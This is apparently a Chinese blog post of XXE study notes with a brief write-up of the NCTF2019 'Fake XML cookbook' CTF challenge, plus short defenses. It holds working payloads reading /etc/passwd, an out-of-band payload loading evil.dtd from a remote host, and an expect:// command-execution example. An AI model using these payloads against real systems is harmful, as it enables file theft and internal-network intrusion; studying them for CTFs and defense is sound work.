XXE漏洞学习和利用—[NCTF2019]Fake XML cookbook

引言

记录一下XXE的学习要点。

XXE

    XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞。

所以在学***E漏洞之前需要先了解一下什么是XML文件。

XML

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

 DTD

 其中文档类型定义(DTD)是XXE漏洞的重点利用对象,DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用)。

 DTD中一些重要的关键字包括:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

内部声明:

<!DOCTYPE 根元素 [元素声明]>

外部声明:

<!DOCTYPE 根元素 SYSTEM "文件名">

外部引用可支持http、file等协议,不同的语言支持的协议不同,但存在一些通用的协议。例如:

 实际利用:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<user><username>&xxe;</username><password>root</password></user>

 XXE漏洞

XXE漏洞就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

XXE的危害1:任意文件读取

利用file、http协议,在DTD外部引用中注入,从而获取文件内容。任意文件读取有分为有回显和无回显两种。

有回显:可以直接在DTD中读取文件内容,攻击者通过列目录、读文件,获取帐号密码后进一步攻击。

无回显:

 

 如果没有回显的话可以把数据发送到远程服务器。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
                <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">
                 %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

远程服务器的evil.dtd文件内容:

<!ENTITY b SYSTEM "file:///etc/passwd">

XXE危害2:命令执行

php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

XXE危害3:内网探测/SSRF

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

 

 

 

 XXE危害4:攻击内网网站

 

 

 XXE防御方法

  1. 禁止使用DTD的外部声明;
  2. 对用户提交过来的XML数据进行过滤。

 实战:[NCTF2019]Fake XML cookbook

 

 

 

 

由题目名称和源码猜测是XXE,可以进行尝试。可以根据常规的文件路径多尝试一下,找flag,这个应该是最简单的XXE利用了。

 

参考

https://security.tencent.com/index.php/blog/msg/69

https://blog.csdn.net/qq_36197704/article/details/82255043

https://www.jianshu.com/p/7325b2ef8fc9

posted @ 2020-09-26 21:26  s1awwhy  阅读(3734)  评论(0编辑  收藏  举报